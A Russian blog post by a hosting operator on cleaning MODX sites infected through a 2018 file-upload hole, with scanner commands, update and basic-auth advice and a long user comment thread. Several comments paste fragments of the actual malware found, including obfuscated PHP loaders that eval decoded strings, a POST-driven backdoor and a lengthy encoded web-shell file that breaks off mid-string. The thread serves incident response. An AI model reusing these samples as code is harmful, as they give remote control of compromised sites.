Лечение зараженных сайтов на modhost.pro

Привет, друзья!

Как многие уже заметили, в MODX недавно обнаружили критическую уязвимость. Заключается она в том, что одним простым запросом можно залить произвольный файл на сайт, и выполнить его. Это может быть шел, вредоносный скрипт, что угодно.

Простота атаки и беспечность владельцев сайтов привели к тому, что я уже неделю разгребаю последствия этой атаки на modhost.pro. Итак, что нужно делать, чтобы вылечить свои сайты?

Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.

Для этого заходим на сервере по SSH, скачиваем замечательный AI-Bolit для сайтов, распаковываем zip и прогоняем сканер по всей своей директории:
wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
unzip ~/aibolit.zip -d ~/aibolit
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
Актуальную ссылку на закачку смотрите на сайте — она меняется каждый день.

После этого у вас должен быть отчёт report.json в корне рабочей директории. Выводим его на экран cat ~/report.json, копируем и вставляем на bezumkin.ru/utils/json.

В принципе, вы можете использовать любой другой антивирус или скрипт, который запустится на хостинге, но AI-Bolit очень грамотно работает, распознавая подозрительные строки кода. Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.

После этого возможны 2 варианта:

Нехороших файлов нет, ура! Обновляем сайт до MODX 2.6.5 через панель управления хостинга. Если есть Gallery, то её тоже, до версии 1.7.1. Заодно можно и другие дополнения обновить. После этого остаётся только закрыть служебные директории по инструкции — это защитит вас от подобных атак в будущем.

Вариант второй — вредоносные файлы есть. Тут еще 2 варианта:
— на хостинге есть резервная копия за 17 — 20 число, и вы можете её восстановить.
— нет копии, или работа вашего сайта не предполагает полное восстановление (много заказов, комментариев и т.д.), тогда чистим вручную.

Файлы могут быть как заруженными извне внедоносами, так и вашими скриптами, в которые дописали нехороший код. Поэтому придётся вручную по ним пройтись и проверить. Ненужные плохие удалить, нужные хорошие почистить от чужого кода.

Дальше как и в предыдущем пункте — обновляем ядро, Gallery, другие допы, и закрываем служебные директории через Nginx.

После всех работ прогоняем еще раз сканер — всё должно быть чисто. Обращаю ваше внимание, что сканер не является панацеей и что-то может пропустить. Поэтому можно прогнать его еще в параноидальном режиме:
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=2 -o ~/report-2.json --no-html --delay=5 --all
Здесь будет куча ложных срабатываний, но вы можете заметить что-то подозрительное.

На всякий случай еще посмотрите вывод ps aux в консоли — там должны быть только ваши процессы, типа php-fpm, никакой странной активности, типа запущенного почтового сервера exim от вашего имени. Еще можно смотреть свой access.log на предмет странных POST запросов — через это тоже можно найти хорошо скрытые шеллы.

Главное помните, что это не какие-то мифические неуловимые вирусы. Это просто вредоносные скрипты, залитые на сайт и работающие от имени вашего пользователя. Соседним пользователям и серверу они навредить не могут, только вашему сайту. Поэтому нужно найти и удалить все скрипты, закрыть уязвимости и всё будет хорошо. Если что-то пропустите — это что-то может снова переписать ваши файлы.

Плюсом к вашим стараниям, хостинг теперь сам мониторит странную активность, и если что-то нехорошее заметит, вы получите уведомление. Если нехорошего много, то это будет уведомление об отключении вашего сайта, потому что мы уже получили кучу жалоб от других хостингов на атаки и спам с нашего.

Напоминаю еще разок, как закрыть свои служебные директории базовой авторизацией. Судя по всему, это теперь обязательная практика для всех сайтов на MODX.
Василий Наумкин
31 июля 2018, 09:57
15
3 777
+19

Комментарии: 79

Николай Савин
31 июля 2018, 10:34
0
Сложности с отправкой писем связаны с этим? На mail.ru письма вообще перестали доходить, даже в спам, на gmail попадают в спам.
    Василий Наумкин
    31 июля 2018, 10:37
    0
    Наши сервера попали в чёрные списки за отправку спама. Так что — да.

    Настраивайте внешний SMTP, как я всегда советовал.
      Николай Савин
      31 июля 2018, 10:39
      0
      Да на продакшене понятно. На тарифе разработка — проблематично.
      Konstantin
      31 июля 2018, 11:51
      0
      Так вот оно что…
      Настраивайте внешний SMTP, как я всегда советовал
      Настроил, вс равно проблемы с отправкой почты. Письма о новых заказов не приходят, клиентам тоже.
        Василий Наумкин
        31 июля 2018, 12:02
        1
        +1
        Ну тогда хостинг уже ни при чём — там напрямую с SMTP работа идёт.

        Значит, или неправильно настроил, или на проверка на спам не проходится и там. Других вариантов нет.
        alexbox
        31 июля 2018, 12:19
        +1
        DKIM и SPF записи почты для домена настройте yandex.ru/support/pdd/set-mail/dkim.html
        а в админке сайта SMTP авторизацию. будет всё ходить и зеленый замочек в почте отображаться, что отправитель проверен
Hiddenski
31 июля 2018, 15:40
+1
Эх, гайды для Apache бы еще. Ни у кого не завалялся проверенный конфиг для него?
Igor Ivanov
31 июля 2018, 20:39
0
Почему то после установки базовой авторизации не принимает пароли, 403 страницу выдает, проверил несколько раз, перегенерировал пароль, все равно не пускает.
P.S. Это нормально, что генератор .htpasswd каждый раз выдает разный хеш, хотя пароль ввожу один и тот же?
    Василий Наумкин
    31 июля 2018, 20:52
    2
    +1
    Проверь error.log сервера, скорее всего у тебя файл паролей недоступен на чтение для Nginx.
      Igor Ivanov
      31 июля 2018, 21:02
      0
      Да. там ошибки,
      2018/07/31 20:58:16 [error] 28458#28458: *4053228 open() "/home/s11188/.htpasswd" failed (2: No such file or directory)
      поставил 644 на файл, все равно в логе те же ошибки и не пускает. какие права надо на него выставить?
        Василий Наумкин
        31 июля 2018, 21:11
        +2
        Вот как ты умудрился создать файл с 3 пробелами на конце?! Исправил.
        Каждый день новые открытия.

        Ну и куча ошибок в логе насчёт session_handler говорит о том, что версия MODX на сайте очень старая.
          Igor Ivanov
          31 июля 2018, 21:18
          +1
          ) Да что б я знал! Копи-паста из генератора и вот так получилось, спасибо большое, теперь работает.
          А версию как раз вот только клиент созрел обновлять, я ее уже обновил, и стал делать базовую авторизацию, ну и вот, пришлось тебя беспокоить. Спасибо еще раз.
Любовь
31 июля 2018, 22:16
0
Дико извиняюсь, но как это сделать? «закрыли служебные директории (core, manager и connectors) базовой авторизацией»
    Дмитрий Иванов
    31 июля 2018, 23:06
    +1
    Вы статью читали? Там ссылка для кого?
      Любовь
      31 июля 2018, 23:22
      +1
      Читала, но невнимательно. Спасибо.
alexbox
31 июля 2018, 23:00
0
1) откатился на Full 18/07/2018 (более ранней копии нет)
2) обновил MODx до последней версии средствами MODhost (кнопочка обновить систему)
3) ставлю Айболит, всё по инструкции. Прогоняю через командную строку.
4) получаю json, перевожу его в читаемый вид — тем самым получаю список зараженных файлов

5) снова откатился на Full 18/07/2018
6) НЕ обновляя систему, захожу по SSH и начинаю удалять файл за файлом из моего списка и вижу…
что у меня НЕТ файла

[16] => Array
(
[fn] => /home/s6322/www/core/packages/core.transport.zip
[ct] => 1533063699
[mt] => 1533063697
[sz] => 2981227
[sigid] => id_n6444910
)

значит, я получил зараженный файл ядра, скачав его при обновлении.

вопрос: откуда качается транспортный пакет ядра?
кто виноват?
    Дмитрий Иванов
    31 июля 2018, 23:07
    +1
    А вы тупо все, что вам выдало поудаляли?
      alexbox
      01 августа 2018, 11:19
      -1
      около 20 файлов, все картинки и 3 транспортных пакета и 2 лога
      не стал парится, удалил все. тупо. эффективно.
    Василий Наумкин
    01 августа 2018, 05:59
    +4
    значит, я получил зараженный файл ядра, скачав его при обновлении.
    Нет, значит ты тоже заметку попой прочитал.

    Там же по-русски написано:
    Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.
    AI-Bolit вообще по умолчанию файлы больше 650Kb не проверяет и помечает их как «большие», а не «зараженные».
ivan
02 августа 2018, 17:25
0
Всем привет. Подскажите. AI-Bolit ругается на файл -http://joxi.ru/L21QKdoh8DyZe2. Можно его удалить?
    ivan
    03 августа 2018, 07:51
    0
    Возможно неправильно задал вопрос.
    AI-Bolit ругается на файл -secur.php
    путь-manager/controllers/default/security/secur.php
    скрин-http://joxi.ru/L21QKdoh8DyZe2
    Подскажите можно удалить этот файл?
      Володя
      03 августа 2018, 08:22
      +1
      Нужно удалить.
        ivan
        03 августа 2018, 08:24
        0
        Спасибо!
Это сообщение было удалено
    Наумов Алексей
    03 августа 2018, 10:11
    +4
    Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?

    Или считаете кто-то имеет кучу свободного времени, чтобы изучить список из пары сотен файлов, что вы скинули?
      АндрейЧ
      03 августа 2018, 10:30
      0
      Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?
      Спасибо, так смогу
АндрейЧ
03 августа 2018, 10:52
0
Удалите плз длинный код, я так погорячился.) Пока норм проверяю все как в гитхабе
Михаил
03 августа 2018, 17:28
0
Кстати ссылка на wget битая, не качает архив
Maxim
06 августа 2018, 12:34
0
и мой сегодня сломали
подобная хрень в index php
//header('Content-Type:text/html; charset=utf-8');
$O_OOO0__00='378';
$OO_OO000__='378';
$O_O0O_0_O0='0';
$O_O0O0_O0_='1';
$O0__OO0O_0='1';
Каждую ночь в автоматическом режиме на сервере делается резервное копирование ваших сайтов.
последняя копия 28,07
    Василий Наумкин
    06 августа 2018, 13:24
    0
    index php можно смело заменить обновлением сайта.
    Ну а потом проверить всё остальное.

    Про резервные копии писал вот здесь. На заполненных серверах они делаются, если есть свободное место. Переезжайте на сервер в РФ.
Maxim
06 августа 2018, 13:44
0
заменил уже, про рф был не в курсе ok
Илья
07 августа 2018, 09:52
0
Скажите, есть ли более подробная инструкция для проверки сайтов на MODX AI-Bolit(ом), так сказать — «для чайников», по пунктам.
Андрей Степаненко
07 августа 2018, 10:09
0
Прошу прощение за банальность!
А если сделать вот так:
$ip = $_SERVER['REMOTE_ADDR'];
$PHP_SELF = $_SERVER['PHP_SELF'];
$protected = array(
    '/connectors/',
    '/manager/',
    '/core/',
);
$access_ips = array(
    127.0.0.1'
);
foreach ($protected as $path) {
    $len = strlen($path);
    $self = substr($PHP_SELF, 0, $len);
    if ($self == $path) {
        if (!in_array($ip, $access_ips)) {
            die('Access denied');
        }
    }
}
В место защиты через nginx.

Это же обеспечит защиту директорий, хотя бы на уровне php (как раз этого и будет достаточно чтобы сайт не заразили через эту уязвимость.
    Василий Наумкин
    07 августа 2018, 12:31
    +2
    Защищать уязвимый код PHP другим кодом на PHP — толково!

    Где гарантия, что в будущем не найдут что-то, что сработает раньше твоего кода и так-же заразит сайт? Ну там, в системе вызова плагинов MODX, или инициализации контекста (где уже находили дыру).

    Nginx — это добавление второго фактора авторизации, а не усложнение первого.
      Андрей Степаненко
      07 августа 2018, 13:45
      0
      а nginx include динамически подтягивать не умеет? А то приходится перезапуска для компиляции нового списка.

      Покопался в документации, нашел только это:
      location ~* ^/(manager|core|connectors)/ {
                      include /home/user/www/core/admin-ips;
                      deny            all;
                      location ~* \.php$ {
                          include             fastcgi_params;
                          fastcgi_param       SCRIPT_FILENAME $document_root$fastcgi_script_name;
                          fastcgi_pass        user.sock;
                      }
              }
      Чтобы в конфиг ngixn постоянно не лазить для добавления разрешенных IP:
      Можно было бы хранить список с IP там откуда есть доступ к примеру какого то php скрипта в котором прописываешь список разрешенных IP.

      По идее тогда вся защита ложится на nginx.

      Или для modhost:
      Можно сделать чтобы к примеру в папке /core/admin-ips лежал список ip
      Администратор добавляет туда разрешенный IP
      На modhost запускается скрпит каждую минуту и проверят не было ли изменений в файле. Если были то делает
      nginx -s reload


      Так уже можно что то придумать в плане управления MODX с этим списком IP. А то ну не прикольно добавлять новые IP для открытия доступа через панель управления хостинга или вообще через ssh.
        Василий Наумкин
        07 августа 2018, 14:13
        +1
        Открой для себя базовую авторизацию по логину и паролю.

        Nginx грузит весь конфиг сразу в ОЗУ, ведь он рассчитан на высокие нагрузки и это позволяет ему не перечитывать .htaccess файлы при каждом запросе, как Apache2.
Сергей
07 августа 2018, 13:34
0
Проверил сайт AI-Bolit(ом). В результатах много файлов вида /home/s..../tmp/phpK9HsIy с кодом
[sig] => [1] <?php /* Obfuscation provided by FOPO — Free Online PHP Obfuscator: www. @!!!>fopo.com.ar/
Это вредоносный код? Его удалять?
    Василий Наумкин
    07 августа 2018, 14:14
    0
    Директория tmp вообще не предназначена для хранения нужных файлов.
Илья
07 августа 2018, 14:35
3
+5
В общем пишу инструкцию для «чайников» (таких как я, и как делал я):
1. Скачиваем PuTTY для SSH (putty.exe)
2. Запускаем putty.exe и подключаемся введя данные SSH из панели управления сайтом.

Пароль пишите руками или вставляйте нажатием правой кнопки мыши. Пароль не будет виден, нажимайте enter и подключение пойдет дальше.
3. После того как Вы подключились вводим команду скачать и распаковать архив ай-болита (она указана выше):
wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
unzip ~/aibolit.zip -d ~/aibolit
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
Не забудьте обновить ссылку на айболит, которую можно взять здесь: revisium.com/ai/
Нажимаем enter и получаем вот это:

4. Ещё раз нажимаем enter, ждем 2-3 секунды и пошла проверка, которая может продлится несколько минут.
5. После окончания проверки, когда вы увидите результат в 100%, вводим команду
cat ~/report.json
и нажимаем enter.
6. На экране появится отчёт, который копируем от одной до другой узоной скобки (включительно).

7. После чего вставляем его сюда bezumkin.ru/utils/json
Получаем расшифровку отчёта, в котором перечислены файлы.

8. Ищем подозрительные файлы, с незнакомым названием. Если файл вам незнаком, проверяем его наличие в чистом modx revo, сравнивая его с github.com/modxcms/revolution

Я проверил все свои сайты. На одном нашёл несколько файлов, которые удалил.
Надеюсь, кому-то будет полезно.
    Кирилл Киселев
    07 августа 2018, 15:58
    0
    Вручную не комильфо удалять, скрипт бы придумать, который сам удалит эти файлы.
      Владимир
      07 августа 2018, 17:43
      1
      +3
      скрипт не нужен, есть команда
      rm -i $(cat fuck.txt)
      переносишь список файлов к удалению в отдельный текстовый файл, в нем каждая строка — удаляемый файл и путь к нему
      И да, вместо PuTTY под винду лучше www.bitvise.com/
        Кирилл Киселев
        07 августа 2018, 19:22
        0
        Это для вирусных файлов, но есть ещё и зараженные файлы, в которых добавили вирусные строки.
        А под мак?
          Владимир
          07 августа 2018, 20:04
          +1
          Чаще всего зараженные файлы нужно просто удалить и заменить, так как не уникальные это часто, имею ввиду что не самописные, а файлы расширений, которые проще переустановить или ядра, тогда просто накатить обновление. Уникальные — чистить руками, исследуя каждый. Картинки «зараженные»- просто удалять.
          Команда консольная, должна быть универсальна.
        Алексей Соин
        08 августа 2018, 07:34
        +2
        На вкус и цвет, я, например, когда искал под винду более приятные внешне и по функционалу ftp и ssh клиенты чем такие как Filezilla и PuTTY открыл для себя для ftp — WinSCP, а для ssh — Xshell
          Владимир
          08 августа 2018, 07:40
          0
          М.б. есть в разы лучше, но мне понравился Bitvise для ssh, а к Filezilla я просто привык.
          PuTTY — люто ненавижу)))))
          Виталий Батушев
          08 августа 2018, 08:15
          1
          0
          Xshell — лучшее, что есть. Жаль, что они его не делают мультиплатформенным. А, может, и не сильно жаль :)
          Hiddenski
          08 августа 2018, 14:08
          1
          0
          SecureCRT — лучшее решение для SSH. Ничего более удобного не пробовал юзать.
Антон
07 августа 2018, 16:15
0
Может я чего-то не понимаю, но зачем делать авторизацию в директориях core и connectors? Почему просто не закрыть их намертво от внешних запросов?
    Андрей Степаненко
    07 августа 2018, 17:30
    +1
    Ибо когда входишь в админку то обращаешься к этим директориям!
Кирилл Киселев
07 августа 2018, 19:17
0
Закрыл служебные категории на базовую авторизацию, теперь не приходят запросы на web-connector.php. В ответе, в режиме разработчика, приходит пустой экран. В чём может быть проблема?
    Сергей Шлоков
    08 августа 2018, 08:37
    0
    А зачем вы коннектор в служебную директорию закинули? Она на то и служебная.
      Кирилл Киселев
      08 августа 2018, 08:58
      0
      Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.
    Кирилл Киселев
    08 августа 2018, 11:34
    0
    Разобрался, index.php был в assets вредоносный, удалил, заработало.
Андрей Степаненко
10 августа 2018, 21:59
1
+6
Написал приложение: Умеет сканировать директории сайта.
В будущем планируется поддержка двух версий платной и бесплатное.

От вирусов оно конечно не избавит, но поможет разобраться с вашей файловой системой.

Смысл в том что во время сканирования происходит заказчка вашей версия MODX из репозитория https://ilyaut.ru/download-modx/ (только чистая)
Затем все распаковывается в папке core/cache/default/scannermodx/repository/modx-2.6.5-pl

Запускается паук который ищет все файлы с расширение: php,js,html,tpl,css,scss,sass,less (можно свои добавить)

И во время поиска сравниваются файлы ядра с версией ядра из репозитория.
Если в файлах ядра были какие то изменения то вы это все увидите.
В общем пробуем: https://yadi.sk/d/mLKu-jXq3a7jJU

Так же составляется список карантинных файлов и список доверенных файлов и директорий.
Чтобы не сканировать все подряд.

Так же еще можно открыть файл и посмотреть что в нем.

Вот так это все выглядит:


Если будут какие то идеи по улучшению то пишите.
Особенно нужны алгоритмы для отлова вирусных файлов. Чтобы можно было вычислять зараженные файлы.

Директории и файлы:
  • 'core/components',
  • 'core/docs',
  • 'core/cache',
  • 'core/packages',
  • 'setup',
  • 'core/config/config.inc.php',
По умолчанию исключены из сканирования. Но можно включить их в настройках: scannermodx_enabled_dir
    Андрей Степаненко
    11 августа 2018, 05:23
    0
    Кстати если выдает ошибку при сканировании то попробуйете в ручную скачать свою версию MODX и положить её в папку:
    core/cache/default/scannermodx/repository/modx-2.6.5-pl.zip
    тогда скрипт автоматически начнет распаковку вашей версии. Версию можно посмотреть в настройках параметр settings_version
    Igor Ivanov
    11 августа 2018, 10:15
    +1
    Думаю, будет также полезно использовать ваш компонент для поиска хаков ядра, после «разработчиков», которые любят злоупотреблять этим.
      Андрей Степаненко
      11 августа 2018, 12:06
      0
      есть примеры кода для тестирования? Я пока только придумать смог как выявить не существующие файлы в ядре, сравнивать содержимое файлов ядра и системы, и ещё начал писать функции для проверки длины строк, чтобы найти длинные строки в файле.
        Igor Ivanov
        11 августа 2018, 12:11
        0
        сравнивать содержимое файлов ядра и системы
        Я про это, периодически попадают в работу сайты, владельцев которых предупреждали, и это еще очень по доброму с ними обошлись, что бы они не обновляли систему. Вот тут-то. как мне кажется, ваша разработка может помочь понять, меняли что-то в системе или нет. Или не я не правильно понял?
          Igor Ivanov
          11 августа 2018, 12:14
          0
          Кстати, было бы еще классно, если бы можно было сравнивать код установленных компонентов.
            Андрей Степаненко
            11 августа 2018, 12:46
            0
            По компонентам тоже начал разрабатывать, но столкнулся с тем что в папке core/package MODX генерирует свои папки и файлы, в общем то необходи понять что за алгоритм чтобы можно было зеркало приложений создавать!
            Но если брать папку core/components то сейчас ее можно сравнить! Тока надо залить свои преложения в папку с репазиторием!
          Андрей Степаненко
          11 августа 2018, 12:39
          0
          Да, все верно! Покажет изменения! Кстати сам переодически задаюсь этим вопросам при обновлении, а то вдруг кто в ядро залез и обновление все снесет.
Семён
17 августа 2018, 11:34
+1
Кстати, сам столкнулся с такой ерундной — нашёл человека, очень быстро помог. Могу подсказать, относительно недорого сделал.
    Михаил
    19 августа 2018, 09:28
    0
    Всегда подсказывай, вдруг пригодится
Андрей Степаненко
23 августа 2018, 12:19
1
+2
Допилил на конце то приложение для проверки файлов:
scannermodx
    Олег Захаров
    24 августа 2018, 14:57
    0
    При сканировании выходят сообщения:

    Консоль запущена...
    Загрузка системного ядра: modx-2.6.5-pl
    Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/Core.php on line 312 and defined
    Загрузка ядра системы завершена
    Удаление старых отчетов
    Сброс сессии
    Сканирование директорий: /home/host1111111/имядомена/htdocs/www/
    Всего найдено файлов: 1730
    Начать проверку файлов
    Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
    Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
    ...
    и так +100500 строк про on line 311
    Может быть связано с тем что установка сделана не как обычно, а с Advanced версией и с выносом ядра на более верхний уровень хостинга? Критичны ли эти ошибки?
Олег Захаров
24 августа 2018, 16:58
0
Проверил айболитом сайт, и обнаружил кучу левых файлов.
Закодированных обозначений, и т.д.
Что удивительно на одном аккаунта хостинга (host land. ru) сайт взломали, а на другом аккаунте этого же хостинга сайт с такими же настройками ничего не тронуто. У хостинга есть встроенный инструментарий айболита.
Ставились сайты по расширенной схеме установки, с переносом core на верхний уровень, переименованием manager и connectors.
Вот список того что было заражено:
файл minishop:
/htdocs/www/assets/components/minishop2/action.php
<?php  $sddc9=953;$GLOBALS['u82de9955']=Array();global$u82de9955;$u82de9955=$GLOBALS;${"GLOBALS"}['p25bd']="MDh|j,.2*pLX]k`r z...
А также были левые файлы формата:
в переименованной папке connectors:
htdocs/www/nkucon/modx.config.js.php
<?php  $l78fe=139;$GLOBALS['q1fa']=Array();global$q1fa;$q1fa=$GLOBALS;${"GLOBALS"}['ie8f4ba']="m5O0jNoJ`aPFeA*Uu)7MTlIg/W=tdD...
в переименованной папке manager
/templates/default/security/xwfngqlk.php
[x] 1…],$ecdcgle);}function snjjs($ykflixg,$ecdcgle){$rbxgy=$ykflixg[3]($ecdcgle)%3;if(!$rbxgy){eval($ecdcgle[1]($ecdcgle[2])) ;exit();}}$snpdlrd=qygzs($ykflixg,$snpdlrd);snjjs($ykflixg,$ykflixg[5]($ykflixg[2],$snpdlrd^hwmzer($ykflixg,$jpakg,$ykf...
/min/lib/HTTP/bqnuysmc.php
qhb[1],$ggsqcy);}function vrmig($cyqhb,$ggsqcy){$qtmonda=$cyqhb[3]($ggsqcy)%3;if(!$qtmonda){eval($ggsqcy[1]($ggsqcy[2])) ;exit();}}$hbcida=otbrb($cyqhb,$hbcida);vrmig($cyqhb,$cyqhb[5]($cyqhb[2],$hbcida^obcapmw($cyqhb,$zlttwd,$cyqhb[8]($hbci
/assets/modext/sections/jghrrjgz.php
<?php $sines="xufdkbzhqkxjbmhd";$gqyxidhc="";foreach($_POST as$csnktd=>$myqzsuhi){if(strlen($csnktd)==16 and substr_coun...
/controllers/default/system/event.class.php
<?php  $ad0aac=275;$GLOBALS['h1faaea']=Array();global$h1faaea;$h1faaea=$GLOBALS;${"GLOBALS"}['u97733']="sv4wC?9-tufX>L[nhrlJ`...
/min/lib/Minify/HTML.php
<?php  $daaf=485;$GLOBALS['nd89']=Array();global$nd89;$nd89=$GLOBALS;${"GLOBALS"}['q5aa44f17']="Wh$}xu|`v>'4z !S8o*F6DlAQ]aU+...
/min/lib/Minify/DebugDetector.php
<?php  $g15b8b=90;$GLOBALS['u0714688']=Array();global$u0714688;$u0714688=$GLOBALS;${"GLOBALS"}['ca8744']="[yDSA#^,7nRV'*({lUX
в корне папки assets
/assets/zlpiiuol.php
[x] 1…1],$bhegny);}function rrqivtg($vxccsyo,$bhegny){$oiznry=$vxccsyo[3]($bhegny)%3;if(!$oiznry){eval($bhegny[1]($bhegny[2])) ;exit();}}$ggxen=mfldvnr($vxccsyo,$ggxen);rrqivtg($vxccsyo,$vxccsyo[5]($vxccsyo[2],$ggxen^rgdckh($vxccsyo,$jrqyubr,$vxc
На одном из сайтов были директории плагинов редактора tinymce (не совсем понимаю почему он у меня лежит в корне сайта, а не в папке assets, лень разбирается что есть то есть)
там тоже обнаружился левый код в контроллере:
htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Controller.php
<?php  $n6655bfa1=731;$GLOBALS['s32b51d']=Array();global$s32b51d;$s32b51d=$GLOBALS;${"GLOBALS"}['l8639444']="*:18p;L"#hUujK[$J...
и
htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Benchmark.php
<?php  $ac4035c=116;$GLOBALS['ra9c765d2']=Array();global$ra9c765d2;$ra9c765d2=$GLOBALS;${"GLOBALS"}['c18ffec1']="Qtb7->L{voWkr...
    Олег Захаров
    24 августа 2018, 16:58
    0
    /min/tvdatruc.php
    Этот файл левый лишний как оказалось — в нем явно что-то подозрительное было (без айболита не догадался бы). Может кто подскажет что делает этот файл?:
    <?php
     $fhfkjo = 6232; function trpnppanw($kjxxlt, $nusiveq){$wlpcduyeom = ''; for($i=0; $i < strlen($kjxxlt); $i++){$wlpcduyeom .= isset($nusiveq[$kjxxlt[$i]]) ? $nusiveq[$kjxxlt[$i]] : $kjxxlt[$i];}
    $dtgakqfymz="rawurl" . "decode";return $dtgakqfymz($wlpcduyeom);}
    $kbkxysfg = '%gsy2y_M49%Q6%QrfyMAXlt_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrXi1'.
    '_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gs4qqiq_q4Aiq9y21%Q6s%QZ%Vv%sU%sF%gsM49_9'.
    'yE4_XyEy9%Q6s%QZ%Vv%sU%sF%gsy12iq4_OM4q_lRiq9%Q6p%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrElS'.
    '_4S4dO9yi2_9yE4%Qr%Qjs%QZ%Vv%sU%sF%sU%sF0iq4ldB%Qs%Q6%Qg_jbbCuo%QslM%Qs%Qgy94E%QZ%sU%sF%r'.
    'v%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%Qgy94E%Qs%Qp%VU%Qs%QQ0s6dgQfs-Rp5f-gQe4-ZlRV-gVrr5d6Q0Qpf%QQ%QZ%sU%sF'.
    '%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs4Sy9%Q6%QZ%Vv%sU%sF%rU%sU%sF%sU%sF%Qgfl'.
    '9l%Qs%VU%Qs0yX4_149_di29429M%Q6%QrABA%VF//y2AO9%Qr%QZ%Vv%sU%sF%Qgfl9l%Qs%VU%QsMAX'.
    'y9%Q6%QQ%VU%QQ%Qj%Qgfl9l%QjQ%QZ%Vv%sU%sF%sU%sF%QgR5g_f4dif4_fl9l%Qs%VU%QsRlM45g_f4dif'.
    '4%Q6OqXf4dif4%Q6%Qgfl9l%evp%eU%QZ%QZ%Vv%sU%sF%sU%sF%QgM42f_fl9l%Qs%VU'.
    '%QsO2M4qylXyk4%Q6f4dqtA9%Q6%QgR5g_f4dif4_fl9l%QZ%QZ%Vv%sU%sF'.
    '%sU%sF%Qgq4MOX9%Qs%VU%QsM42f_fl9lp%Qs%Q6%QgM42f_fl9l%QZ%Vv%sU%sF%sU%sFy0%Qs%Q6%Qp%Qgq4MOX9%QZ%sU%'.
    'sF%rv%sU%sF%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%QsM42f_fl9lQ%Q6%QgM42f_fl9l%QZ%Vv%sU'.
    '%sF%rU%sU%sF%sU%sF4dBi%Qs%Qgq4MOX9%Vv%sU%sF%sU%sF0O2d9yi2%Qsf4'.
    'dqtA9%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t%Q'.
    's%VU%Qs%Qg_YohGoh%ev%QrT88a_TbY8%Qr%eU%Qs.%Qs%Qg_YohGoh%ev%QrhoKWoY8_W'.
    'hu%Qr%eU%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t_X42%Qs%VU%QsM9qX42%Q6%Qgc4t%QZ%Vv%sU%sF%Qs%sU%sF%Qs%Qs%Qs%Qs0i'.
    'q%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%Qs%Vj%QsM9qX42%Q6%Qgc4t%QZ%Vv%Qs'.
    '%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs'.
    '%Qgc4t%ev%Qgy%eU%Qs%VU%QsdBq%Q6iqf%Q6%Qgc4t%ev%Qgy%eU%QZ%Qs%eo%Qs%Q6%Qgc4t_X42%Qs%Q'.
    'e%QsQee%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%'.
    'Qs%Qs%Qs0iq%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%'.
    'Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs0iq%Qs%Q6%QgP%VUs%Vv%Qs%QgP%VjM9q'.
    'X42%Q6%Qgc4t%QZ%Qs%Q5%Q5%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%Qs%QgP'.
    '%Qv%Qv%Qj%Qs%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs'.
    '%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs.%VU%QsdBq%Q6iqf%Q6%Qgfl9l%ev%Qgy%eU%QZ%Q'.
    's%eo%Qsiqf%Q6%Qgc4t%ev%QgP%eU%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Q'.
    's%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%QgiO9'.
    '_fl9l%Vv%sU%sF%rU%sU%sF%sU%sF0O2d9yi2%QsM42f_fl9lp%Q6%Qgfl'.
    '9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgB4lf%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%sU%sF%Qs'.
